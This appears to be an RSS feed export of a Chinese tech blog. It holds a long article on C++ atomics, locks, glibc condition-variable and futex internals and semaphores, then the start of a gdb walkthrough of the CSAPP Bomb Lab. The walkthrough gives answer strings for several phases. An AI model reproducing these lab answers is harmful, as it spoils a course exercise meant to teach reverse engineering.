    cout &amp;lt;&amp;lt; &quot;end\n&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;std::atomic 内存序&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;memory_order_relaxed ：最弱的内存序，仅保证基本的原子性，没有额外的内存同步语义。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;memory_order_consume ：用于消费操作(consume operation)，确保后续的操作不会被重排序到该操作之前。用于后续操作依赖于该操作的结果。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;memory_order_acquire ：用于获取操作(acquire operation)，通常用于读取共享变量，确保后续的操作不会被重排序到该获取操作之前，提供了一种从发布-获取同步模型中的获取操作的语义。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;memory_order_release ：用于释放操作(release operation)，通常用于写入共享变量，确保之前的操作不会被重排序到该释放操作之后，为后续的获取操作提供一种同步点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;memory_order_acq_rel ：结合了 acq 和 rel 的语义，用于读写操作，既确保之前的写操作不会被重排序到该操作之后，也确保后续的读操作不会被重排序到该操作之前。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;memory_order_seq_cst ：最强的内存序，提供顺序一致性(sequentially consistent)的保证，确保所有线程中的操作都按照全局的顺序执行。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;CAS 比较并交换 (Compare-And-Swap)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;if (!global_var.compare_exchange_strong(expected_val, new_val, std::memory_order_acq_rel)) {}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;LR/SC 加载保留 (Load-Reserve) / 条件存储 (Store-Conditional)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;atomic&amp;lt;int&amp;gt; global_var(0);
atomic&amp;lt;bool&amp;gt; sc_failed(false);
void LR_SC() { // Load-Reserved &amp;amp;&amp;amp; Store-Conditional
    int expected_val;
    while (true) {
        expected_val = global_var.load(std::memory_order_relaxed); // Load-Linked
        int new_val = expected_val + 1;
        // Store-Conditional
        if (!global_var.compare_exchange_strong(expected_val, new_val, std::memory_order_acq_rel)) {
            sc_failed.store(true, std::memory_order_relaxed);
            break;
        }
        // 如果 Store-Conditional 成功，继续循环
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. lock 锁&lt;/h2&gt;
&lt;h3&gt;自旋锁 (Spinlock)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;inline void spin_lock(std::atomic_flag&amp;amp; lock_flag) {
    while (lock_flag.test_and_set(std::memory_order_acquire)) { // CAS
        // 自旋等待，直到锁被释放
    }
}
inline void spin_unlock(std::atomic_flag&amp;amp; lock_flag) { lock_flag.clear(std::memory_order_release); }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;互斥锁 (mutex)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;inline void mutex_lock(std::mutex* lk) { lk-&amp;gt;lock(); }
inline void mutex_unlock(std::mutex* lk) { lk-&amp;gt;unlock(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;TODO futex&lt;/h3&gt;
&lt;h2&gt;3. cv 条件变量 (Condition Variable)&lt;/h2&gt;
&lt;h3&gt;0. 传统教科书用户态cv条件变量实现：&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 传统教科书“错误”的结构
struct pthread_cond_t {
    atomic_int  __lock; // 内部自旋锁（CAS 0/1/2分别代表无锁、有锁、有锁且有等待者）
    unsigned int   __total_seq;    // 总等待序列号​​计数器：“挂号”
    unsigned int   __woken_seq;    // 已唤醒线程数计数器：“叫号”
    struct list_head __wait_queue; // 存放在等待的线程的链表（真实情况是存放在 futex_queues 哈希表中）
    // 其他字段...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键 glibc 函数&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.42/source/nptl/pthread_cond_signal.c&quot;&gt;glibc - pthread_cond_signal()&lt;/a&gt;: 唤醒至少一个正在等待该条件的线程。如果没人等待，则什么都不做。
&lt;ul&gt;
&lt;li&gt;锁住内部__lock, 选择__wait_queue等待线程的一个节点, 更新__woken_seq, 解锁内部__lock, futex_wake(__woken_seq)系统调用, Kernel唤醒目标线程。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.42/source/nptl/pthread_cond_wait.c&quot;&gt;glibc - pthread_cond_wait()&lt;/a&gt;: 当前线程睡眠，等待某个条件成立。
&lt;ul&gt;
&lt;li&gt;锁住内部__lock, 挂载到__wait_queue, 原子增加__total_seq, 进行唤醒检查, 如果需要等待则释放mutex, 解锁内部__lock, futex_wait(__woken_seq)系统调用 进入内核等待, 被唤醒后重新尝试获取mutex。&lt;/li&gt;
&lt;li&gt;Fast-paths​：无竞争时完全在用户态操作&lt;/li&gt;
&lt;li&gt;Slow-paths​​：竞争时触发系统调用进入内核&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;__lock&lt;/code&gt;&lt;/strong&gt;: 这是一个用户态的自旋锁，用于保护 &lt;code&gt;pthread_cond_t&lt;/code&gt; 结构内部其他字段的并发访问。当多线程同时调用 &lt;code&gt;pthread_cond_wait&lt;/code&gt; 或 &lt;code&gt;pthread_cond_signal&lt;/code&gt; 时，这个锁能确保操作的原子性。又由于对 pthread_cond_t 的操作通常很快，所以使用自旋锁可以避免陷入内核的开销。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;无锁链表&lt;/code&gt;设计：CAS操作管理等待队列&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__wait_queue&lt;/code&gt;&lt;/strong&gt;: 这是一个用户态的等待队列，通常实现为一个无锁链表，通过 CAS (Compare-and-Swap) 原子操作来管理节点的增删，以提高并发性能。当一个线程/进程需要等待条件变量时，它会创建一个节点并挂载到这个链表上（进入等待队列）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;双计数器&lt;/code&gt;设计(&lt;code&gt;__total_seq&lt;/code&gt; &amp;amp; &lt;code&gt;__woken_seq&lt;/code&gt;)： 解决信号丢失问题&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__total_seq&lt;/code&gt;&lt;/strong&gt;: 每当一个线程准备进入等待状态，它就会原子地增加 __total_seq 的值，记录总共有多少个线程曾经或正在等待（挂号）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__woken_seq&lt;/code&gt;&lt;/strong&gt;: 每当 &lt;code&gt;pthread_cond_signal&lt;/code&gt; 决定唤醒一个线程时，它会增加 __woken_seq 的值，记录已经发出了多少个唤醒信号（叫号）。
通过比较这两个计数器的值，一个线程可以判断自己是否错过了唤醒信号，如果__woken_seq值变化，说明有叫号。P.S. 如果 &lt;code&gt;__woken_seq&lt;/code&gt; 的值追上了 &lt;code&gt;__total_seq&lt;/code&gt;，就意味着所有等待的线程都已经被唤醒了。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/// glibc: pthread_cond 的函数接口定义
int pthread_cond_signal(pthread_cond_t *__cond);
int pthread_cond_wait(pthread_cond_t *__restrict __cond, pthread_mutex_t *__restrict __mutex);

/// futex_* 系统调用接口定义
// 让调用线程进入睡眠，等待在用户态地址(uaddr)的值发生变化
int futex_wait(u32 __user *uaddr, unsigned int flags, u32 val, ktime_t *abs_time, u32 bitset);
// 唤醒最多nr_wake个在指定用户态地址(uaddr)睡眠的线程
int futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;futex_wait&lt;/code&gt; 系统调用&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原子检查&lt;/strong&gt;: 内核会原子地检查 &lt;code&gt;pthread_cond_t&lt;/code&gt; 中一个与 &lt;code&gt;futex&lt;/code&gt; 关联的整数（通常就是 &lt;code&gt;__woken_seq&lt;/code&gt; 或者一个专门的 &lt;code&gt;futex&lt;/code&gt; 变量）的值是否与 Waiter 在用户态读取的值相匹配。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进入休眠&lt;/strong&gt;: 如果值匹配（意味着在 Waiter 检查和调用 &lt;code&gt;futex_wait(__woken_seq)&lt;/code&gt; 之间，没有新的唤醒发生），内核就会将 Waiter 线程的状态设置为休眠，并将其放入一个位于内核空间的、与该 &lt;code&gt;futex&lt;/code&gt; 地址相关联的&lt;code&gt;等待队列&lt;/code&gt;中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免竞争&lt;/strong&gt;: 如果值不匹配，说明在 Waiter 进入内核前，&lt;code&gt;pthread_cond_signal&lt;/code&gt; 已经执行并修改了该 &lt;code&gt;futex&lt;/code&gt; 变量的值。&lt;code&gt;futex_wait()&lt;/code&gt; 会立即返回，Waiter 线程不会休眠，而是回到用户态重新检查条件并尝试获取锁。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1. Linux中标准cv条件变量实现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct __pthread_cond_s {
    // 64位无锁状态字：高位为序列号，最低位为组索引(Index)
    unsigned long long __wseq;     // 其实是 __atomic_wide_counter 类型，用 union 包一层的计数器
    // g1 组的起始序列号
    unsigned long long __g1_start; // 其实是 __atomic_wide_counter 类型
    unsigned int __g_refs[2] __LOCK_ALIGNMENT;
    unsigned int __g_size[2];    // 引用计数
    unsigned int __g1_orig_size;
    unsigned int __wrefs;
    unsigned int __g_signals[2]; // 两个独立的 Futex 变量
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;完美的 Broadcast 语义&lt;/code&gt;&lt;/strong&gt;：Linux 的 &lt;code&gt;pthread_cond_t&lt;/code&gt; 实现支持高效的广播唤醒（&lt;code&gt;pthread_cond_broadcast&lt;/code&gt;），通过 &lt;code&gt;__g1_start&lt;/code&gt; 和 &lt;code&gt;__g_signals&lt;/code&gt; 计数器来管理多个等待线程的唤醒，确保所有等待线程都能被正确唤醒。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在旧的单队列实现中，在唤醒线程的过程中，突然有一个线程调用了 futex_wait 进来了，他不应该被本次Broadcast唤醒影响到，但是单队列难以处理。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__g1_start&lt;/code&gt; 记录了 g1 组的起始序列号，用于界定哪批线程属于当前广播的目标。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__g_refs[2]&lt;/code&gt; 分别记录两个组里当前有多少活跃 Waiter 引用计数，&lt;code&gt;__g_size[2]&lt;/code&gt; 这两个组的实际线程数目。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__g1_orig_size&lt;/code&gt; 判断是否清空g1组。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__g_signals[2]&lt;/code&gt; 这是两个独立的 &lt;strong&gt;Futex 变量&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;分组逻辑&lt;/code&gt;&lt;/strong&gt;：u64 的 &lt;strong&gt;最低位&lt;/strong&gt; 用来区分两个组（group 0 和 group 1），通过 &lt;code&gt;__g1_start&lt;/code&gt; 来标记当前活跃的组。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pthread_cond_signal 对比 __wseq __g1_start 得知是否用新线程调用过wait。优先清理 g1 组，如果 g1 组清空了，就切换到 g2 组开放、g1 组封闭，最后进行唤醒操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// glibc: pthread_cond_wait 的简化实现 
int pthread_cond_wait(pthread_cond_t *cond, pthread_mutex_t *mutex) {
    uint64_t wseq = atomic_fetch_add_acquire(&amp;amp;cond-&amp;gt;__data.__wseq, 2); // 挂号
    unsigned int g = wseq &amp;amp; 1; // 解析当前所属的组
    uint64_t seq = wseq &amp;gt;&amp;gt; 1;  // 解析当前的序列号
    atomic_fetch_add_relaxed(&amp;amp;cond-&amp;gt;__data.__g_refs[g], 2); // 增加当前组的引用计数
    __pthread_mutex_unlock_usercnt(mutex, 0); // 释放互斥锁
    while (true) {
        /// 检查是否需要等待
        // 【快照】读取看守的那个 Futex 变量的当前值
        unsigned int signals = atomic_load_acquire(&amp;amp;cond-&amp;gt;__data.__g_signals[g]);
        // 各种唤醒检查（如：如果被唤醒的信号数已经大于等于当前序列号，说明信号已经到达，无需等待）
        if (seq &amp;lt; signals) { break; }
        // futex_wait 系统调用进入内核等待
        int err = futex_wait_cancelable (&amp;amp;cond-&amp;gt;__data.__g_signals[g], signals, private);
        if (__glibc_unlikely(err == ETIMEDOUT || err == EOVERFLOW)) { // 超时或溢出处理
            __condvar_cancel_waiting(cond, seq, g, private);
            result = err;
            break;
        }
    }
    // 确认唤醒
    __condvar_confirm_wakeup(cond, private);
    // 重新获取互斥锁
    __pthread_mutex_cond_lock(mutex);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;对于cv条件不满足进入等待队列到被唤醒的逻辑详解&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;pthread_cond_wait&lt;/code&gt; 的核心任务是：&lt;strong&gt;原子地释放互斥锁并开始等待条件变量，当被唤醒后，重新获取互斥锁&lt;/strong&gt;。这其中涉及到用户态和内核态的紧密协作。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户态操作 (Fast-Path)
当一个线程（我们称之为 Waiter）调用 &lt;code&gt;pthread_cond_wait(&amp;amp;cv, &amp;amp;mutex)&lt;/code&gt; 时，它必须已经持有了 &lt;code&gt;mutex&lt;/code&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原子领号与定组&lt;/strong&gt;: Waiter 通过 &lt;code&gt;atomic_fetch_add(wseq, 2)&lt;/code&gt; 一条指令同时完成&lt;strong&gt;挂号&lt;/strong&gt;与&lt;strong&gt;定组&lt;/strong&gt;操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;增加引用计数器&lt;/strong&gt;: 原子地增加对应组 (&lt;code&gt;__g_refs[g]&lt;/code&gt;) 的引用计数。此操作向潜在的 pthread_cond_signal 调用者宣告其即将进入等待状态。读取并记录当前的 &lt;code&gt;__g_signals[g]&lt;/code&gt; 值，这是后续检查是否错过信号的关键。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;释放互斥锁&lt;/strong&gt;: Waiter 会释放cv关联的 &lt;code&gt;mutex&lt;/code&gt;（这一步允许其他线程（特别是发信号的线程）进入临界区修改共享条件）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;检查是否需要等待（是否到号）&lt;/strong&gt;: 在真正进入内核等待之前，Waiter 会读取自己所在组的 &lt;strong&gt;&lt;code&gt;Futex&lt;/code&gt;&lt;/strong&gt; 变量(&lt;code&gt;__g_signals[g]&lt;/code&gt;)。如果在这期间，&lt;code&gt;pthread_cond_signal&lt;/code&gt; 已经被调用，且 &lt;code&gt;__g_signals[g]&lt;/code&gt; 的值“叫号”已经“追上”了它，那么 Waiter 就无需进入内核等待，可以直接尝试重新获取 &lt;code&gt;mutex&lt;/code&gt;。即 &lt;strong&gt;先挂号 (&lt;code&gt;seq+=1&lt;/code&gt;)，再检查是否已经叫到自己的号 (&lt;code&gt;__g_signals[g]&lt;/code&gt;)&lt;/strong&gt;。
&lt;ol&gt;
&lt;li&gt;Fast-Path: 信号已到无需等待，无需调用futex_wait去休眠，直接尝试重新获取mutex。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内核态操作 (Slow-Path a and Slow-Path b)：Futex 等待
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;原子校验&lt;/strong&gt;: Slow-Path a: 内核接收到 futex_wait 系统调用后，会原子地再次检查用户态地址 __g_signals[g] 的值是否依然等于signals，如果发现已经发生变化（叫到号了）futex_wait立即返回错误，线程再次尝试获取mutex。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;进入等待队列&lt;/strong&gt;: Slow-Path b: 如果值依然匹配（说明没漏掉信号），内核将 Waiter 线程状态置为 &lt;strong&gt;TASK_INTERRUPTIBLE&lt;/strong&gt; ，并将其挂入内核空间的 Futex 哈希桶 中。然后线程让出 CPU。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;pthread_cond_signal&lt;/code&gt; / broadcast 唤醒逻辑，当另一个线程（我们称之为 Signaler）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;pthread_cond_signal(&amp;amp;cv)&lt;/code&gt; 时：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;无锁检查&lt;/strong&gt;（Fast-path）: Signaler 通过原子读取 __wseq 和 __g1_start 判断是否有线程在等待。如果没有（wseq == g1_start），函数直接返回（极低开销）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修改 Futex 变量&lt;/strong&gt;: 如果有等待者，Signaler 会原子地增加目标组的 Futex 变量 __g_signals[g] 的值。这一步将打破 Waiter 的 futex_wait 循环条件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;futex_wake&lt;/code&gt; 系统调用&lt;/strong&gt;: Signaler 随后调用 &lt;code&gt;futex(FUTEX_WAKE, ...)&lt;/code&gt;，并通常将唤醒数量设置为 1。
&lt;ul&gt;
&lt;li&gt;内核接收到这个请求后，会在哈希桶中找到与该 &lt;code&gt;futex&lt;/code&gt; 地址关联的内核等待队列。&lt;/li&gt;
&lt;li&gt;它会从队列中取出一个（或指定的数量）Waiter 线程，将其状态从休眠改回就绪（Runnable）。&lt;/li&gt;
&lt;li&gt;被唤醒的 Waiter 线程会被放入调度器的就绪队列中，等待 CPU 时间片。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Signaler 释放 &lt;code&gt;__lock&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;cv唤醒后但是获取锁失败的逻辑详解&lt;/h4&gt;
&lt;p&gt;当 Waiter 线程从 &lt;code&gt;futex_wait()&lt;/code&gt; 调用中返回（即被唤醒）后，它知道条件可能已经满足，但它**必须重新获取 &lt;code&gt;mutex&lt;/code&gt;**才能安全地访问共享资源。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;唤醒后的第一件事&lt;/strong&gt;: Waiter 从内核态返回到用户态。此时，它知道自己被唤醒了但并不持有 &lt;code&gt;mutex&lt;/code&gt;，调用 &lt;code&gt;pthread_mutex_lock(&amp;amp;mutex)&lt;/code&gt; 来尝试获取互斥锁。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获取锁失败的逻辑&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;此时，&lt;code&gt;mutex&lt;/code&gt; 可能仍然被 Signaler 线程持有（如果 Signaler 在调用 &lt;code&gt;pthread_cond_signal&lt;/code&gt; 后还有其他操作），或者已经被另一个刚刚被唤醒的 Waiter 线程获取。&lt;/li&gt;
&lt;li&gt;如果 Waiter 尝试获取 &lt;code&gt;mutex&lt;/code&gt; 失败，它会进入 &lt;code&gt;pthread_mutex_lock&lt;/code&gt; 的慢速路径（contended case）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pthread_mutex_lock&lt;/code&gt; 的实现同样基于 &lt;code&gt;futex&lt;/code&gt;。Waiter 会在一个循环中尝试通过原子操作（如 &lt;code&gt;cmpxchg&lt;/code&gt;）获取锁。&lt;/li&gt;
&lt;li&gt;如果多次尝试失败，Waiter 就会调用 &lt;code&gt;futex_wait(&amp;amp;mutex, 1)&lt;/code&gt;，&lt;strong&gt;进入与该 &lt;code&gt;mutex&lt;/code&gt; 关联的内核等待队列中休眠&lt;/strong&gt;。
&lt;strong&gt;关键点&lt;/strong&gt;: &lt;strong&gt;一个从条件变量等待中被唤醒的线程，如果未能立即获得互斥锁，它会转而进入该互斥锁的等待队列，而不是条件变量的等待队列。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;互斥锁的唤醒&lt;/strong&gt;: 当持有 &lt;code&gt;mutex&lt;/code&gt; 的线程（无论是 Signaler 还是另一个 Waiter）调用 &lt;code&gt;pthread_mutex_unlock(&amp;amp;mutex)&lt;/code&gt; 时，它会修改 &lt;code&gt;mutex&lt;/code&gt; 的状态，并通过 &lt;code&gt;futex_wait(&amp;amp;mutex, 1)&lt;/code&gt; 唤醒一个正在等待该 &lt;code&gt;mutex&lt;/code&gt; 的线程。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Linux内核态等待队列：(wait_queue_head_t)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// TODO
void wake_up(wait_queue_head_t *q) {
    struct task_struct *task;
    list_for_each_entry(wait, &amp;amp;q-&amp;gt;head, entry) {
        task = wait-&amp;gt;private;
        try_to_wake_up(task); // 调用核心调度器
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. 经典 pc 生产者消费者问题&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;queue&amp;lt;int&amp;gt; q;
mutex mtx;
condition_variable cv;
bool done = false;
void Tproducer(int id) {
    this_thread::sleep_for(chrono::seconds(1));
    for (int i = 0; i &amp;lt; 20; ++i) {
        lock_guard&amp;lt;mutex&amp;gt; lock(mtx);
        q.push(i);
        cout &amp;lt;&amp;lt; &quot;Producer &quot; &amp;lt;&amp;lt; id &amp;lt;&amp;lt; &quot; produced the &quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &quot;\n&quot;;
        cv.notify_one(); // 通知消费者
    }
}
void Tconsumer(int id) {
    while (true) {
        unique_lock&amp;lt;mutex&amp;gt; lock(mtx);
        cv.wait(lock, [] { return !q.empty() || done; }); // 等待条件成立
        if (done &amp;amp;&amp;amp; q.empty()) {
            break;
        }
        int value = q.front();
        q.pop();
        cout &amp;lt;&amp;lt; &quot;Consumer &quot; &amp;lt;&amp;lt; id &amp;lt;&amp;lt; &quot; consumed &quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; &quot;\n&quot;;
    }
}

int np = 2, nc = 3;
thread producers[np];
thread consumers[nc];
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. 信号量 Semaphore&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;优势
&lt;ul&gt;
&lt;li&gt;信号量可用于​​跨进程间的同步&lt;/li&gt;
&lt;li&gt;轻量级事件通知，​​避免惊群效应&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// Linux
struct semaphore {
    raw_spinlock_t lock;    // 自旋锁保护计数器
    unsigned int count;     // 可用资源数
    struct list_head wait_list; // 等待队列
};
struct semaphore_waiter {
    struct list_head list;
    struct task_struct *task;
    bool up;
};
void __sched down(struct semaphore *sem) {
	unsigned long flags;
	raw_spin_lock_irqsave(&amp;amp;sem-&amp;gt;lock, flags);
	if (likely(sem-&amp;gt;count &amp;gt; 0))
		sem-&amp;gt;count--;
	else
		__down(sem); // 加入等待队列
	raw_spin_unlock_irqrestore(&amp;amp;sem-&amp;gt;lock, flags);
}
EXPORT_SYMBOL(down);
void __sched up(struct semaphore *sem) { // V操作
    unsigned long flags;
    raw_spin_lock_irqsave(&amp;amp;sem-&amp;gt;lock, flags);
    if (likely(list_empty(&amp;amp;sem-&amp;gt;wait_list)))
        sem-&amp;gt;count++;
    else
        __up(sem); // 唤醒队列头
    raw_spin_unlock_irqrestore(&amp;amp;sem-&amp;gt;lock, flags);
}
static noinline void __sched __down(struct semaphore *sem) {
	__down_common(sem, TASK_UNINTERRUPTIBLE, MAX_SCHEDULE_TIMEOUT);
}
static noinline void __sched __up(struct semaphore *sem) {
	struct semaphore_waiter *waiter = list_first_entry(&amp;amp;sem-&amp;gt;wait_list,
						struct semaphore_waiter, list);
	list_del(&amp;amp;waiter-&amp;gt;list);
	waiter-&amp;gt;up = true;
	wake_up_process(waiter-&amp;gt;task);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// cpp 示例
class Semaphore {
  private:
    mutex mtx;
    condition_variable cv;
    unsigned int count;
  public:
    Semaphore(unsigned int initial_count) : count(initial_count) {}
    void acquire() { // P操作
        unique_lock&amp;lt;mutex&amp;gt; lock(mtx);
        cv.wait(lock, [this] { return count &amp;gt; 0; });
        --count;
    }
    void release() { // V操作
        unique_lock&amp;lt;mutex&amp;gt; lock(mtx);
        ++count;
        cv.notify_one();
    }
};
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CSAPP-bomb-lab</title><link>https://blog.alinche.dpdns.org/posts/gdb/bomb/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/gdb/bomb/</guid><description>gdb &amp; asm 优质Lab练习</description><pubDate>Mon, 03 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;phase_0 env&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;wget csapp.cs.cmu.edu/3e/bomb.tar # wget -O ./bomb.tar csapp.cs.cmu.edu/3e/bomb.tar
tar xvf bomb.tar
# Bomb Lab文件目录如下：
# ├── bomb
# ├── bomb.c
# └── README
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;la as&lt;/code&gt; OR &lt;code&gt;x/5i $pc&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;phase_1&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas phase_1
# mov    $0x402400,%esi
# call   0x401338 &amp;lt;strings_not_equal&amp;gt;
# test   %eax,%eax
# je     0x400ef7 &amp;lt;phase_1+23&amp;gt;
# call   0x40143a &amp;lt;explode_bomb&amp;gt;
(gdb) x/s 0x402400
###        &quot;Border relations with Canada have never been better.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;phase_2&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas phase_2
# &amp;lt;read_six_numbers&amp;gt; -- update keepgo
## for ()
(gdb) b 82
(gdb) r keepgo
(gdb) si
(gdb) p $rsp
(gdb) p *0xaddr 
(gdb) p $eax
###        1 2 4 8 16 32
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;phase_3&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas phase_3
(gdb) b 89
(gdb) r keepgo
(gdb) si
__GI___isoc99_sscanf (s=0x603820 &amp;lt;input_strings+160&amp;gt; &quot;test&quot;, format=0x4025cf &quot;%d %d&quot;) at ./stdio-common/isoc99_sscanf.c:24
24      ./stdio-common/isoc99_sscanf.c: No such file or directory.
## %d %d -- update keepgo
(gdb) b *0x400f60
(gdb) b *0x400f6a
# -- update keepgo
(gdb) p $eax
(gdb) p *(int*)($rsp+0xc)
# -- update keepgo
## switch() // b *0x400fbe 
###        &amp;lt;0,207&amp;gt; &amp;lt;1,311&amp;gt; &amp;lt;2,707&amp;gt; &amp;lt;3,256&amp;gt; &amp;lt;4,389&amp;gt; &amp;lt;5,206&amp;gt; &amp;lt;6,682&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;phase_4&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas phase_4
(gdb) b 95
(gdb) r keepgo
## same debug 
###        0 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;phase_5&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;(gdb) disas phase_5
(gdb) b 95
(gdb) r keepgo
# call   40131b &amp;lt;string_length&amp;gt;
(gdb) b *0x4010d2
# movzbl (%rbx,%rax,1),%ecx
# mov    %cl,(%rsp)
# mov    (%rsp),%rdx
# and    $0xf,%edx
# movzbl 0x4024b0(%rdx),%edx
# mov    %dl,0x10(%rsp,%rax,1)
# mov    (%rsp),%rdx
(gdb) p *(char*)($rbx+offset)
(gdb) x/s $rbx
(gdb) b *0x401099
(gdb) x/s 0x4024b0
## 0x4024b0 &amp;lt;array.3449&amp;gt;:  &quot;maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?&quot;
(gdb) p $edx
## $1 = 97
## for (str[idx]) ?

(gdb) b *0x4010b8
(gdb) x/s 0x40245e
## 0x40245e:       &quot;flyers&quot;
(gdb) x/s $rdi
# 0x7fffffffde40: &quot;aiuier&quot; # test (adcbef)
##   9 15 14 5 6 7
## &amp;amp; 00001111
## 01001001 -&amp;gt; I
## 01001111 -&amp;gt; O
## 01001110 -&amp;gt; N
## 01000101 -&amp;gt; E
## 01000110 -&amp;gt; F
## 01000111 -&amp;gt; G
